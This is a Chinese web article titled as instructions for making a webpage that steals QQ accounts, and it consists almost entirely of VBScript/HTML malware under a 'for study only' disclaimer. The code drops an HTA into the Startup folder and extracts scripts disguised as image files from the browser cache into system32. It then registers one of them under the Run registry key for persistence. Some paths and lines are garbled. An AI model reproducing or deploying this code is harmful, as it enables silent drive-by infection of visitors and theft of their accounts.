自己制作盗QQ号网页代码

【 tulaoshi.com - QQ专区 】

    本文章只供学习使用，请勿做其他用途！

＜html＞
＜script language=vbs＞
'on error resume next
rem czy a scit boy 2002.3.31
aosoao
sub cal()
myname=document.location
If Right(myname, 3) = "hta" Then
call svbs()
end if
end sub
sub svbs()
'on error resume next
set fso = createobject("Scripting.FileSystemObject")
If not (fso.FolderExists("c:windowssystem32qq")) Then
fso.CreateFolder("c:windowssystem32qq")
call sv()
else
settimeout "aa()",1
end if
end sub
sub sv()
set fso = createobject("Scripting.FileSystemObject")
set fil = fso.opentextfile("C:WINDOWSStart MenuPrograms启动so.vbs",2,tr
ue)
fil.writeline "drnext"
fil.writeline "sub drnext()"
fil.writeline "on error resume next"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "If (fso.FileExists(""C:WINDOWSStart MenuPrograms启动so.h
ta"")) Then"
fil.writeline "fso.DeleteFile(""C:WINDOWSStart MenuPrograms启动so.hta""
)"
fil.writeline "end if"
fil.writeline "for each dr in fso.getfolder(""C:windowsempor~1"").subfold
ers"
fil.writeline " fdnext(dr)"
fil.writeline " flnext(dr)"
fil.writeline " next "
fil.writeline "end sub"
fil.writeline "sub fdnext(dr)"
fil.writeline "for each fd in dr.subfolders"
fil.writeline " fdnext(fd)"
fil.writeline " flnext(fd)"
fil.writeline "next"
fil.writeline "end sub"
fil.writeline "sub flnext(dr)"
fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
fil.writeline "for each fl in dr.files"
fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qq1.bmp"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qq1.ico"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qq2.jpg"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qqdl.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qqqq.vbs"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qqqq1.hta"""
fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then"
fil.writeline "fso.CopyFile fl, ""c:windowssystem32qqqq2.hta"""
fil.writeline " End If"
fil.writeline "next"
fil.writeline "set R = CreateObject(""WScript.Shell"")"
fil.writeline "R.RegWrite ""HKCUSoftwareMicrosoftWindowsCurrentVersion
Runqq"",_"
fil.writeline """c:windowssystem32qqqq.vbs"""
fil.writeline "end sub"
'----------------------------
settimeout "aa()",1
end sub
sub aa()
window.close
end sub
＜/script＞
＜script language=vbscript＞
on error resume next
function lvbs()
For Each ws In document.scripts
If LCase(ws.Language) = "vbs" Then
Lvbs = ws.Text
Exit Function
End If
next
end function
main
sub main()
dim aa
lvbs
aa="＜html＞＜script language=vbscript＞" & lvbs & "＜" & "/" & "script" & "＞" &
"＜" & "/" & "html" & "＞"
set os = createobject("Scriptlet.TypeLib")
Os.Reset
Os.Path = "C:WINDOWSStart MenuPrograms启动so.hta"
Os.Doc = aa
Os.Write()
end sub
＜/script＞
＜img src=123451.bmp＞
＜img src=123452.ico＞
＜img src=123453.jpg＞
＜img src=123454.jpg＞
＜img src=123455.jpg＞
＜img src=123456.jpg＞
＜img src=123457.jpg＞
＜body＞
＜/body＞
＜/html＞